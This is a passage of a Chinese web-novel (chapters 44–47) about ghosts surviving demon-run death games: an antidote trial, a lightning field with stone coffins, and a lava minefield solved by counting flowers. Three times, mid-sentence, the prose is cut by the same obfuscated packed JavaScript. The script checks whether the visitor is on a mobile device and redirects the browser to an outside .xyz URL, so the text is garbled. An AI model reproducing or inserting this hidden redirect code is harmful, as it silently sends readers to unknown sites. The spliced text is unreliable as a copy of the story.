说到最后一句话时,她脑海中不自觉出现了夏月明的温柔笑颜。 于是她面上笑意更加明朗,心里也更温暖踏实起来,又坚定地补了一句:“不是没准儿,是一定会。” 44. 魔域游戏·其二 众鬼魂有些摸不着头脑。 能离开这里的可能性本就微乎其微,离开后还能消除身上疫病,更是不敢奢求。 但小婵姑娘却说,他们还有可能投个好胎。 这真是天方夜谭了。 谁不知道,像他们这样作恶多端的厉鬼,早就绝了轮回路了。 但看小婵姑娘天真坚定的神情,他们又很愿意去相信她给他们编织的这一场美梦。 既然了无生机,那在美梦中消散,何尝不是一种幸福? 鬼魂们似是想到一起了,他们默契地对小婵露出笑容,坚定点头后吞下了药块。 早就把药吃了的几名厉鬼却是不住冷哼,对他们这份愚蠢的天真很是不屑。 “还想投个好胎?阎王听了都得笑掉大牙吧。” 小婵并未理会他们的冷嘲热讽,没有见过奇迹的人自然不会相信奇迹的存在。 见众鬼魂都服下解药,她也放心地吃掉了自己的那一份。 吞下解药的一瞬间,魂体的疲累难受便开始逐渐消解,暗叹神奇之余,她也下定决心回去一定要好好研究研究这解药的原理,没准会让自己的医术有很大突破。 业灾看戏般欣赏着这一幕,笑着对小婵道:“看来你很有信心可以离开这里?” 小婵自信点头。 业灾又好笑地问:“你要如何离开这里?” 小婵道:“天机不可泄露。” 业灾听完已然笑得直不起腰来:“我看你是吓颠了,千魔窟向来只进不出,怎么?你认为你有挑战神魔的能力么?” 小婵只是微笑,并不急着回怼他。 心道:会出去的。因为师父走时承诺过,十五天后,会亲自送大家轮回。 业灾颇为惋惜地叹了口气,他本以为自己遇到了一个有勇有谋的有趣鬼魂,正考虑学习苍弭,暂时收她做自己的宠物。 谁料她只是个被吓到说疯话的颠婆。 只是拜这颠婆所赐,如今他的游戏出现了前所未有的局面。 ——游戏结束后,竟然还有十一个幸存者。 这下他该如何处置呢? 念头不通达,他决定将他们暂且搁置在此,去向魔神请示。 …… 彼时魔神正捏着一把狗尾巴草,逗夏月明玩。 业灾一来,她就松了口气——她终于不用再演出一副对狗尾巴草很感兴趣的样子了。 听完业灾汇报,苍弭只是淡淡道了句:“有趣。” 夏月明却十分雀跃,眼神发亮地问业灾:“你说她宁愿放弃根治疫病的机会,也要让所有鬼魂一同获胜?” 业灾看了她一眼,冷漠地“嗯”了一声。 心道苍弭这宠物真是越看越呆蠢,还不如自己游戏里那个圣母颠婆。 她却毫不在乎他的冷漠,拉着他又问了许多细节。 业灾很不耐烦,假装没听见她的问话,只以沉默应答。 苍弭忽而发现,自己的宠物对这个话题所表现出的兴致,竟比刚才玩狗尾巴草时高多了。 于是他便将她的问题又重复了一遍。 看魔神大人如此溺爱这宠物,业灾虽然不理解,却也只好耐心地一一回答。 夏月明听罢心潮澎涌,内心对这位获胜者又是崇拜又是向往,这样善良又机智的鬼魂可遇不可求,若是有机会能招进公司就好了。 便问苍弥:“我可以见见这个聪明又勇敢的鬼魂吗?” 苍弭本不愿她与其他鬼魂接触,但看到她满怀期待的目光,又不忍扫她兴致,便道:“两天后将举办最终游戏,所有游戏中的获胜者都会参加,到时带你旁观。” “好!谢谢主人!” 夏月明突然就有种小老板去人才市场前的兴奋。 预选赛的其中一个游戏都可以出现这样对她口味的鬼魂,可想而知总决赛会是怎样卧虎藏龙的景象了。 先前还因无法渡化石堡中的鬼魂而沮丧的她顿时就恢复了斗志,看来这千魔窟于她来说还是有班可上的。 这一次,收获颇丰呀。 此后苍弭和业灾离开寝殿去商量正事,闲来无事的夏月明又缠着屠苏打听起那场疫病游戏的相关情况。 “制作解药的材料,是只在这里有,还是外面也有呀?” “倒是都有。不过千魔窟随处可见的材料,在外面的采摘难度可不亚于上刀山下火海。” “哦……”夏月明暗自决定离开前要借李灵恪乾坤袋一用,将这洞窟之中的花花草草都带走些,没准出去就是稀世珍宝。 当然,最重要的,是要帮那鬼魂找齐制作解药的材料。 可她要如何知晓那鬼魂需要哪些材料呢? 还得先想办法同她见一面才是。 “你知道他所说的那个聪明又勇敢的女鬼叫什么名字,长什么样子吗?” 屠苏不耐烦道:“不知,我又没去看。” “怎么会不知?你虽然没有去现场,可你不是有「神之眼」吗?” “……” 屠苏被她问住了,知她早晚会发现,便直接坦诚道:“我的「神之眼」只能看到自己所在地盘发生的事,其他将领地盘的事我并不知晓。” “哦……”夏月明语气失落地应了一声,心里却默默开始盘算起来。 怪不得刚才那位业灾看到苍弭对她宠溺的样子时,会那么惊讶,原来他并不知晓他们之间发生的事。 所以……区域局限性就是「神之眼」的另一个Bug吗? 看她若有所思的样子,屠苏立刻便猜到她在想什么了。 这个宠物狡猾得很,他一直怀疑之前的玩具就是被她放出去的。 当下便沉着脸,严肃地对她警告道:“虽然将领的「神之眼」只能感知规定领域内发生的事,但魔神大人的「神之眼」却是全范围全知全能的,你若想再想搞什么阴谋诡计,劝你趁早死心。” 夏月明干笑两声,毫无说服力地狡辩道:“怎么会,我是那种鬼吗?” 屠苏坚定点头:“是。” “呃……好吧,看来你对我成见很深呐。” 话说到这份儿上,屠苏也不想再藏着掖着,便直接挑明道:“魔神大人虽然全知全能,心思却比较单纯,若你胆敢利用他的情感做对千魔窟不利的事,我定叫你痛不欲生,恨不能立刻灰飞烟灭。” 知他的成见已无法挽回,夏月明便不再同他辩解,只颇为绿茶地说了句:“如果你再这样曲解我对主人的情感,我也会生气的。” 话是对着他说的,却是给苍弭听的。 一句不算太动人的话,就让远处神殿内的某位冷淡魔神心暖了几分。 ——这是她第一次严肃而明确地表达对他的情感。 看来书中所写不假,宠物真的会被主人感化,慢慢变得忠心爱主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866769|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏月明并不知晓她的主人这么擅长自我攻略,因为他平时皆是一副冷淡神情,令她拿不准自己说的哪句话有用,哪句话是白费心机,因而她只能见缝插针地多说几句,祈祷有朝一日看到铁树开花。 不过她面前这位魔将就很好懂了,他是真的油盐不进,牛眼般的双眸死盯着她,威胁道:“我会一直盯着你的,休想再搞小动作。” …… 千魔窟,第五魔域。 阿九睁开眼时,发觉自己正躺在一片黑暗又逼仄的空间中。 四面皆是石质的墙面,他试着敲了敲,发现除身下的石板外,其余都是空心的。 狭小的空间令他突然想到一样东西——棺材。 抬起手臂将面前的石板用力一推,石板果然朝旁滑落,不算明亮的光涌入了视线。 入眼是傍晚的星空。 他坐起身来四处张望,目之所及皆是被荒山困住的广阔野岭。 颜色不一的石棺如天上星子一般,没有规律地散落在荒岭之上,使整片区域仿如乱坟岗一般。 陆续有鬼魂推开石棺,冒出半个身子来,如他一般茫然张望。 这时,一阵洪亮而粗狂的声音如同响雷般覆盖了整个荒岭。 那声音道:“欢迎来到第五魔域,我是魔域之主——魔将雷厝。” 众鬼魂都朝天望去,看到月亮之下,凛然腾空站着一位穿着蓝色战甲、通体泛着暗蓝色邪光的魁梧壮汉。 雷厝继续道:“在我的领域,每隔一刻钟都会落一次雷。落雷之时,只有石棺内是安全的,石棺之外,魂销神灭。” 有的鬼魂慌忙将刚掀开的石棺盖子又朝里拉了几分。 “每个石棺仅能容纳一名鬼魂,若落雷之时棺内超过一个鬼魂,则石棺保护机制失效,棺内鬼魂全部阵亡。” 这条规则倒没引起太大恐慌,鬼魂们心道只要躲在棺材里不出去不就好了? 但阿九的面色却严肃起来,有着多年看乐子经验的他深知,若游戏规则仅是如此,那这场游戏就过于平淡了,定然还有更为严苛的条件,来限制这些规则的使用。 果然察觉众鬼魂神色都轻松了几分后,雷厝又沉声道:“我的游戏正式开始!三个时辰后,所有石棺全部失效,未能逃出这片山谷的小鬼,将有幸欣赏到一场持续一个时辰的火雷雨。各位,祝你们好运。” 话音刚落,魁梧身姿便于天际消失,清冷月光洒在众鬼魂懵然的面孔上,渐渐浇灌出名为恐惧的花朵。 阿九第一时间理清了游戏规则。 简单来说,就是他们要在三个时辰内,找到出口并离开这里。出口应当就在周围的山上,但不确定具体方位。寻找过程中,每隔一刻钟需要找到一个空的石棺躲避一次落雷。 这听起来不算难,难点在于,参赛鬼魂共五十名,落雷之时,很难保证附近正好有足够的空棺。而鬼魂从外无法看到里面是否有鬼,若紧急情况下慌不择路钻了进去,就是一窝端了。 不过这难点对他来说却并不算什么,毕竟他有天赋技能「空穴来风」,很容易就能听到他人的探索成果,也轻易可知哪个石棺有鬼,哪个没有。 只要注意防备其他鬼魂在落雷前钻进自己的石棺便可。 于是在其他鬼魂都小心翼翼开始探索之际,阿九优哉游哉地调整睡姿,又躺回了石棺中,开始欣赏这人间不曾有的璀璨星空。 45. “打”开局面 阿九躺在石棺中,耳畔是厉鬼们窸窸窣窣茫然行动的声音,面前是静谧美丽的星空。 这里的星星看起来比人间更亮,更大。 星空近到仿佛伸手便可摘到星辰。 一刻钟后,第一次落雷降下。 因为鬼魂们的探索都相对比较小心,所以这一次没有鬼魂牺牲,他也没听到什么有用信息。 第二波探索开始。 阿九推开刚刚落雷时盖起的棺材盖,继续欣赏星空。 因为第一次躲雷相对轻松,这一次有的鬼魂开始大胆起来,朝着更远的地方去探索。 荒原上的每一处都有可供躲雷的石棺,因而探索初期,在大家都相对保守、偏安一隅的时候,只要心里估算好时间,远处反而比近处要安全。 第二次落雷仍然全员安全。 第三波探索,有的鬼心里开始着急起来,因为如果后面几次还按照前两拨探索时的速度移动的话,他们根本不可能在规定时间到达荒原尽头的山上。 更别说他们第一次所选的方位未必就是出口的方位,还得有一定的试错成本。 因而这一次,更多鬼魂大胆起来,加快脚步朝山边行去。 越靠近山崖的地方石棺越少,这次落雷时,有两只鬼因为临时挤入同一石棺,被落雷击中了。 他们消散前的哀鸣声虽然只持续了一瞬,却仍是清晰地顺着冰冷大地,传到了阿九的耳中。 推开棺盖的一瞬间,他的视野开阔了,心却更觉压抑,难以平定。 连绚烂夜空中的颗颗星辰也仿佛逐渐变大,就要朝着他坠落而来。 他烦躁地抬起手,盖上了石棺。 但在一片浓稠的漆黑之中,他的心仍是无法平定下来。 为何会如此呢? 是因为听到了那两只鬼灰飞烟灭前的短暂哀鸣吗? 可他自化鬼以来,不知看过了多少厉鬼的灰飞烟灭,亦不知看过多少生人惨死的样貌,一颗心早就被打磨的又冷又硬,不会再为此生出半分恻隐了。 甚至于他的一双冰冷鬼手,也亲自撕碎过不少厉鬼。 为何如今会因两只毫无关系的鬼而产生动摇? 他捂住耳朵,想让自己的心静下来,却无法隔绝天赋技能带给他的强大能力。 在第四次落雷来临之前,他终于忍不住推开棺门,坐起身来朝着不远处的女鬼大声喊道:“那个棺材有鬼,去后面那个!” 女鬼先前去荒原东侧探索完,没找到出口,这便折返回来,打算再去西侧看看。 正好折返回来的鬼太多了,她原来的棺材早被占了,一时慌神,便随便找了个印象中无鬼进入的棺材赌一把。 万万没想到竟会有鬼提醒她,那个棺材已被占了。 可她能相信他的话吗? 若场内厉鬼数量越少,探索的效率便越高,因而也不是没有厉鬼想陷害其他鬼魂。 一旦中招,就是一石二鸟了。 便在她难以抉择之际,另一棺材内也冒出一个鬼头来,朝她大声喊道:“他在骗你,就去那个!” 女鬼听罢一咬牙,当即便冲向阿九所指的棺材,躲了进去。 没别的原因,两害相权,取其帅。 且与第二次提醒她的厉鬼相比,第一次提醒她的那位不但俊美非凡,神色间也全是急迫和担忧,值得为他赌一次。 幸而,在落雷来临的前一瞬,她成功盖上了棺材盖。 里面果真是空的。 落雷声无比刺耳,确认其中没有夹杂厉鬼的悲鸣声,阿九的一颗心才终于平定了下来。 他深深地闭上眼睛,忍不住莫名地笑了起来,一边笑一边喃喃自语道:“果然,谁靠近你都逃不掉啊。” 在决定推盖提醒那女鬼的前一刻,他耳畔响起了夏月明的声音。 “纵容恶事发生,会掉我的功德。” “那这笔钱,就当做你入股我们公司的投资啦,我可以让你做……宣传部长,怎么样?” “为什么?当领导得到的功德会多一些诶!” “我要功德做什么?” “当然是为了——” “来世仍走人间道啊。” 什么功德,什么人间道,他原本一点儿也不在意的。 可是遇见她以后,心里的什么东西就好像被她勾起来了一般。 就像荒芜的土地上长出了一棵嫩芽,虽然很小、很不起眼,可那份盎然的绿意,却比荒芜之上的任何东西都要宝贵。 所以他想:罢了,也顺手做点好事,贡献几分功德吧。 阿九推开棺盖,便看到了女鬼感激的面容。 她得救以后,第一时间就等在阿九的棺材外,想要同他道谢。 未等她红着脸说完感激的话,阿九便跃出棺材,一边朝着厉鬼密集处走去,一边对她叮嘱道:“不必言谢,你帮我通知其他厉鬼,进棺后尽量发出声音,这样我可以更准确地知道哪个石棺有人,哪个没有。这次落雷结束后,让他们立刻来找我。” “嗯!”女鬼听罢立刻就要照做,没走两步才想起来问原因。 阿九道:“只要所有鬼魂听我指挥,我有办法让大家在规定时间内,全部离开这里。” 女鬼一脸惊喜崇拜,重重点头。 第五次落雷来临前,阿九及时纠正了要进错棺的厉鬼,因而这次也无鬼牺牲。 落雷结束后,一半鬼魂听话来找他,另一半却对他嗤之以鼻,不愿搭理。 阿九暂且没管那些不配合的鬼,将自己听到的信息同汇合而来的厉鬼分享了一遍,而后结合厉鬼们分享的信息,排除了几个已探索过,不会有出口的地方。 “还剩十一次落雷,我们分成四组探索,每一组五个。我的能力能听到的范围有限,所以在距离我一百五十米的地方,须有一个鬼负责传话,将你们探索到的内容全部重复一遍。若哪个方位有出口,我便可及时通知其他小队,朝那个方位赶去。” 众鬼魂听罢并未全然照做,有质疑的,他也并未强求。 最终一组三名鬼魂,开始了探索。 他没说出自己能力的真实范围,以防有的鬼刻意隐瞒信息,在他听觉范围外谋划什么。 还真就被他预判着了。 有一名小鬼假意听他安排,回头就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866770|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他的安排内容、能力范围、汇总情报全都告诉了山边的同伙,那同伙见不得其他鬼魂轻轻松松就能找到出口,更不能接受他出风头的样子,当下便决定开始捣乱,故意传递假消息给他。 于是被他狠狠揍了一顿。 揍到满身是血,连声告饶也没停手,继续揍到他告不出饶,魂体都开始透明,已然快要消散之际才肯罢手。 他有条不紊地在那只鬼的同伙身上,将手上鲜血缓缓擦干净后,一双狭长凤眼带着几分邪气笑意,望向其他鬼魂,“友好”地笑问道:“还有谁想试试吗?我还有力气哦。” 他是准备给夏月明贡献功德,可没说要终止自己的杀孽。 各算各的,互不影响。 众鬼魂们瑟瑟发抖,一边退步一边摇头,眼里写满了恐惧。 没想到这男子看上去病态文弱,实力却恐怖如斯。 这下好了,杀鸡儆猴,局面彻底被他“打”开了。 原本有自己想法,不愿听他指挥的厉鬼也乖乖加入了他的部署之中。 阿九谦虚地微笑着,对众鬼魂拱手道:“承蒙抬举,九某在此谢过大家。” 众鬼魂立马回了他更大的礼:“不敢当不敢当……” 掐指一算落雷快要来临,虽然一番耽搁所获信息不多,但意外多了一倍的帮手,结果也不算坏。 众鬼魂按照阿九的规划躲入石棺中,躲过了第六次落雷。 根据阿九的指挥又进行了四次探索后,第二探索小队终于摸到了出口的位置。 是一个一次仅能容纳一只鬼通过的机关石门,且石门打开后很快就会关闭,要等一段时间再按开关才会打开。 有的小鬼开始慌乱起来,如果自己赶不上了怎么办? 阿九粗略估算了一下,差不多两次落雷的间隙中,能通过十五个鬼。 所以时间是完全足够的。 “要落雷了,大家先回石棺。” 趁在石棺内的短暂时间,他心中已部署好了最佳的离开阵型。 落雷一结束,阿九便开始给众鬼魂重新分组,有的小鬼因为太过担心,听不进他的安排,阿九便捏起拳头活动了两下手腕,吓得小鬼们立刻聚精会神,连害怕都顾不上了。 现在就被生生打到消散,和过一会儿再消散,那还是前者更可怕。 在他笑眯眯的威压之下,一众鬼魂很快便全部撤离了这片荒原。 阿九是最后一个走的,他离开时,时间尚且还有一刻多钟的富余。 从出口走过狭长的通道后,众鬼魂来到一片同样被山包围的原野,不同的是这里青草遍地,没有石棺。 身形比两个成年男子叠在一起还要高的雷厝站在草地中央,脸色十分阴沉。 往常是有多鬼通关的情况存在的,但最多只有三四个,这次却出来这么多个,要怎么跟魔神和神将交代? 要不偷偷弄死一部分吧。 这个念头刚一产生,他便听见魔神传来的心音。 “无妨,来神殿复命。” “是……”雷厝尴尬挠头,又发愁地看了眼身前数量繁多的小鬼后,皱着眉头去了神殿。 46. 魔域游戏·其三 彼时夏月明正在寝殿外探索。 经过这段时日的探索,她已在心里绘制出了主神殿、副神殿和寝殿所在区域的大概地图。 正准备让屠苏带自己去石堡看看,才分别不久的苍弭就出现在了她的面前。 她仰头望向被冷峻神辉覆盖着的他,试图分辨出他淡然神色中所蕴含的情绪,却与往常一样只是徒劳。 那张宛如被精心雕刻而成的完美神颜上,除了淡漠别无其他,好似做不出表情的绝美雕像一般。 他弯腰将她抱入怀中,道:“第二个魔域游戏已见分晓,四十八名厉鬼存活。” 她震惊了:“四十八名?!多少个鬼参加了呀?” “五十个。” “天呐。” 她不由开始怀疑起其这游戏的难度。 苍弭道:“雷厝正要到神殿复命,你可愿随我去听听详情?” “当然!”夏月明欣然点头。 苍弭轻轻摸了下她的头,抱着她去了神殿。 他记得方才她听见业灾汇报游戏成果时的兴奋神情,以为她是比较八卦的那种宠物,这便决定在雷厝汇报之时,也带上她。 他虽无法确切感知人与鬼的情绪,却能通过对比,分辨出情绪与情绪之间的区别。 她听业灾汇报时所露出的神情,与玩狗尾巴草时的天差地别。 于是他忽而就明白了,她并不那么喜欢狗尾巴草。 大约是为了让他开心,才有意做出对狗尾巴草很感兴趣的样子吧。 所以,算是作为回报,他也想让她开心。 …… 主神殿内,雷厝不解地抠着脑袋。 刚才他来复命时,魔神大人思忖片刻后,说让他稍等一下。 他以为他是有什么重要的事要去处理,没想到他只是把宠物抱了过来。 这是何意呢? 莫非是魔神大人对他将要说的事感到非常愤怒,必须要宠物在旁缓解情绪才可? 雷厝心里噼里啪啦的,心道早知道就直接落一个时辰的火雷雨,将多余的鬼魂全部清除干净后再结束游戏了。 一场游戏幸存四十八名鬼魂这件事,放在千魔窟实在过于炸裂。 他硬着头皮将游戏的情况大致汇报了一遍后,心情忐忑地等待魔神处置。 怎料魔神听完神色淡淡,并没有什么表示,不但没有表示,还低头看向了怀里的宠物,似在等待宠物看法。 这又是何意? 雷厝望向一脸严肃的宠物,忍不住又扣了扣脑袋。 夏月明本以为是游戏难度太低所以通关率高,但听完雷厝讲解,才知游戏难度并不算低。 雷厝所掌控的游戏中,也和业灾掌控的游戏一样,出现了带领众鬼魂一起通关的领袖玩家。 而且这位更是重量级。 五十存四十八,也太强了。 她忍不住问道:“他怎么做到的啊?” 雷厝如实道:“那只鬼魂有听觉系的天赋技能,可以分辨出石棺内是否有鬼。” “听觉系的天赋技能?” 夏月明立刻便想到了阿九。 不过她与林蔓印象中的阿九,都不是会在意其他鬼魂死活的性格,所以她又第一时间否定了这个念头。 她不自觉咽了口口水。 ——心动,想挖。 两个游戏就出现了两个令她心向往之的高尚灵魂,这让她对即将到来的最终游戏更为期待。 她忍不住双眸泛光地问苍弭:“其他游戏什么时候结束?” 先前听屠苏说过,千魔窟内,除屠苏之外的五名魔将各掌管着一片魔域,一片魔域就是一个生存游戏,五场游戏同时进行着。 苍弭略一感知,道:“快了。” “嗯!”夏月明欢喜点头,“我可以在这里等他们吗?” 苍弭淡淡地应了声:“嗯。” 她在他怀里调整了下坐姿,雀跃地等待着接下来的员工情报。 苍弭低头静静地看着她,忍不住揉了揉她柔软的头发。 正心情忐忑,嘀咕魔神会不会惩罚自己的雷厝一时有些看呆了。 他感觉魔神大人的神情似乎和以前不大一样,但具体哪里不一样,他又说不上来。 但他也没有细究,反正只要魔神大人不惩罚自己就好了,嘿嘿。 …… 千魔窟,第一魔域。 厉鬼们皆是被热醒的,仿佛盛夏正午,被扔到了空旷的山顶暴晒一般。 睁开眼后,入目是一片火红。 天是红的,地是红的,连夹在其间的空气也好像被烤红了一般,沸腾似的波动着。 视野中唯一不同的颜色,是远在干涸大地尽头的一片青翠山丘。 山丘生机盎然、草木旺盛,在波动空气的隔绝之下看起来如梦似幻,仿如海市蜃楼一般。 天际传来一阵爽朗笑声,众鬼魂抬头望去,便见红日中飞出一只金色火鸟朝他们腾飞而来,靠近后,变成了一位赤发红瞳、身材火辣的红衣美人。 美人身形高大,悬在半空俯视众鬼,朗声道:“欢迎来到我的领域,我是魔将金乌。” 热浪刺眼,众鬼魂伸手搭在眼睛上,才勉强看清她的样子。 金乌又道:“我的领域规则很简单,三个时辰内,走到对面绿洲便算获胜。” 众鬼魂还没搞清楚当前状况,金乌便又化作金色火鸟,风风火火地飞回了天上红日之中。 “什么意思?走到绿洲?这不是很简单吗?根本用不了三个时辰吧。” 有心急的鬼魂直接朝着绿洲迈开步子。 每迈一步,周围荒地便会长出绿色嫩芽来,看上去颇为神奇。 但当他迈出第四步后,脚下土地直接坍塌成方形岩浆,伴随着短促的哀嚎声,那只鬼瞬间便溶入了岩浆之中。 众鬼魂大惊,无一再敢向前一步。 恐慌焦灼的气氛持续了良久后,忽见鬼群之中走出一名俊雅绝尘的白衣男子。 男子闲庭信步地迈向绿洲,如踏入凡尘的谪仙一般轻松淡定。 更让鬼魂们震惊的是,他竟很快就安然地走到了荒地中央。 “不是,这也太轻松了吧?” “难道刚才那个倒霉鬼踩到岩浆只是概率极小的偶然情况?” 鬼魂之中,又开始有选手跃跃欲试了。 然而没走几步,便又有鬼魂踩到岩浆,瞬间消散了。 其余鬼魂原地僵住,急忙收回了要迈出的步子。 见那白衣公子仍在款步向前,如履平地,众鬼魂一时都有些摸不着头脑。 眼看他就要到达终点了,鬼魂们急忙喊住了他。 “公子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866771|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何走得如此稳健?可有什么窍门同我们说道说道?” 那公子止步转身,眯起一双好看的桃花眼来,笑着道:“是有窍门,可我为何要告诉你们?” 用最温柔地语气说出了最欠揍的话。 “这……”众鬼魂犹疑一瞬,七嘴八舌地说出了各种原因。 有假意结盟的,有循循善诱的,有道德绑架的……通通都被白衣公子怼了回去。 俨然一副油盐不进的姿态。 众鬼魂无奈,大路不通就走小道。 有鬼魂机智地道:“不说就不说,我顺着你的脚步走,定然不会出错。” 其余众鬼纷纷附和,暗自打算走过去的第一件事,就是将那白衣公子推进岩浆里泄愤。 万万没想到,那公子比他们还要狠。 未待他们走近几步,他便捡起地上土块,朝他们一一丢来,又准又狠。 安全区域本来就只有可容一人行走的面积,有的鬼为了躲他砸来的土块,险些站不稳摔到旁边危险区,想要后退躲开他攻击范围,奈何后面的鬼也不愿意退步。 于是前排鬼就只好站在那里,白白挨砸。 眼看时间逐渐流逝,鬼魂们实在没办法,态度彻底软了下来。 更有能屈能伸的,直接跪下求那白衣公子“救命“了。 百发百中,白衣翩然,这掌握众鬼魂命脉的公子,不是小白又会是谁呢? 只是此时此地的小白,已然不再是往日那般人畜无害的纯良模样,趁主人不在,他完全暴露了腹黑本性。 他掂了掂手中土块,淡然道:“凭什么?我们现在不是对手吗?” 知他油盐不进,众鬼魂实在无奈,只能咬牙决定靠运气来过关了。 便在这时,腹黑小白却又话锋一转,露出温柔无害的热情笑容来,道:“但如果你们愿意加入我们公司,就是我的同伴了,同伴有难我怎会不救?” 图穷匕见了。 众鬼魂面面相觑:“公司?” 小白道:“就是我的组织,在黎国边城小镇上,打听毕宿宫便可找到。” 见他松了口风,众鬼魂连忙应声。 管他什么公丝母丝,先答应下来,过了这一关再说,反正到时候直接不认账就完了。 见众鬼魂应下,小白满意莞尔,一本正经道:“通过这里的秘诀只有四个字——心诚则灵。” “心诚则灵?” “嗯。我的天赋技能是「读物」,只要你们拿出身上最重要之物给我,我便能通过它感知到对你们而言最安全的路线。” 众鬼魂将信将疑,却也实在没有别的法子,看他表情诚恳,便决定死马当活马医,先按他说的做了。 他们按小白所说原路返回,来到荒原的起点,一一将重要之物交给了小白。 小白将二十四件物品全部收于袖中乾坤,而后道:“东西我就先帮你们收着了,待你们到毕宿宫报道入职之后,再还给你们。” 众鬼魂:? “什么意思?不是要「读物」问道吗?” 小白冷哼一声,不屑道:“真当我傻呢?万一你们糊弄我,出去不认账怎么办?没点儿筹码在手就乖乖办事,我可不是三岁小孩儿。” 众鬼魂一时心虚。 这公子看上去一副人畜无害很好骗的样子,心眼子也忒多了吧。 47. 花路通关! 见他们一脸被骗后的愤恨样子,小白又笑意明朗地解释道:“我也没骗你们啊,交出重要的东西,我自会给你们指路。” 说罢,他便将自己方才一番观察后,总结出的规律告诉了众鬼。 “若将地面上可容纳一双脚站立的范围看作一格,你们可有发现,我们每踏出一步,临近格子就会长出花草来。” 众鬼若有所思地点了点头。 小白继续道:“每个格子上长出来的花朵数量并不一致,有的是四朵,有的是三朵,有的是两朵,你们可有想过这是为何?” 众鬼魂疑惑挠头。 小白指着冒出岩浆的格子道:“这一格周围的花朵数量分别是四、三、二;那一格是三、三、二;那一格是四、二、二,凡是临近岩浆的格子,花开得都会比安全格子多一些。” “哦!”有厉鬼恍然大悟道:“你是凭格子周围花的数量来判断是否有岩浆的?” 反应过来了,但没完全反应过来。 小白道:“是,但不全是。多亏你们不怕死的不断尝试,让我发现了岩浆格子的一个规律——若安全格子上生出一朵花,便说明与它临近的格子有一个岩浆格,若安全格子生出两朵,便说明有两个,依此类推。” 众鬼魂反应了一会儿才恍然大悟,参差不齐地“哦!”了一声。 但仍有喜欢思考的小鬼发现了盲点:“不对啊,你说的方法至少要确定两个以上的安全格后,才能根据其长出的花朵数推断出下一个格子是否有岩浆,而且还未必准确。可方才你走出那么远,面前未知的格子那么多,你却闲庭信步,步步生花,这是为何?” “问得好。”小白桃眼一弯,伸手指向先前走出的路,道:“你再仔细看看,我方才,只是在走路吗?” 干涸大地上有一条蜿蜒生花的绿色小径,那便是小白方才走出的路。 众鬼魂顺着花路极目远望,仔细观察。 突然,有反应快的小鬼率先惊呼了一声:“他周围的土地上也有花!” 众鬼魂这才反应过来,那花路不止一步的宽度。 惊讶之余更是不解:“不对呀!他明明只迈了一步,为何附近都有花了?” 小白也不同他们卖关子,抬手用法力将地上一枚土块弹到手中,微笑答道:“投石问路咯。” 虽然在其他鬼魂眼中,他方才走得那样轻松悠然、闲庭信步,但那只是他为了骗他们加入公司而演出来的。 实际上他的每一步都有很多小动作,比如每走一步,都要投出三颗土块,且要保证土块落地的力度与鬼魂行走时的重量一致,否则便无法触发土地的机关。与此同时,他还要瞬间看清土地上长出的花朵数量,分析出下一步如何走才最安全。 众鬼魂听话他解释完,一边佩服,一边就更想揍他了。 煞费苦心,只是为了忽悠他们加入那个什么奇怪的组织,也太阴险了吧! 但他们又不敢揍他,因为他又说出了岩浆游戏的另一规则。 ——安全格上有几朵花,就只能走几个鬼,超过也会化成岩浆格。 即长出三朵花的安全格,最多只可通过三名鬼魂,第四名鬼魂一旦踏上去,也会瞬间被岩浆吞噬。 这是方才他们踩着他走出的道路,去找他麻烦时才被他发现的新规则。 鬼魂们原本不信,以为他是故意找借口保全自己,但通过数道路上的岩浆格子,很快就证实了这一点。 现在暴露在外的岩浆格子,的确比之前多了几个。 ”怪不得刚才在我后面的三个倒霉蛋被烧化了,我还以为是他们一时脚误,踩错格子导致的……“ 众鬼魂心里一阵后怕,真不知这遍地暗藏岩浆的地狱里,还有什么没被发现的隐形规则。 害怕自己会莫名其妙丧命于这些隐形规则,鬼魂们一时胆怯,原先对小白的愤怒也完全被依赖尊崇所取代了。 有鬼魂悄声道:“这小白脸虽然欠揍了点儿,但不得不承认,他脑子转得确实快,想要安全走出这里,没他还真不行……” 话没说完,就被他身侧的两只鬼狠狠揍了一顿:“什么小白脸?那是我大哥!” 小白笑吟吟地欣赏着众鬼魂对自己的态度转变,在心中估算了下时间,认真道:“帮我多拣些硬土块和石子儿来,时间不多,要尽快探路了。” 众鬼魂听令立刻照做,有心思比较多的鬼甚至互相攀比起来,比谁捡的多,谁捡的少。 在他们的带动下,其他鬼魂误以为是捡的多才有离开资格,也跟着卷了起来,一场逃生游戏莫名变得热血向上了起来。 石块数量差多不足够后,小白双手运气,一手吸附了五个石块,同时扔出,十个石块全部狠狠砸在了要探索的格子上, 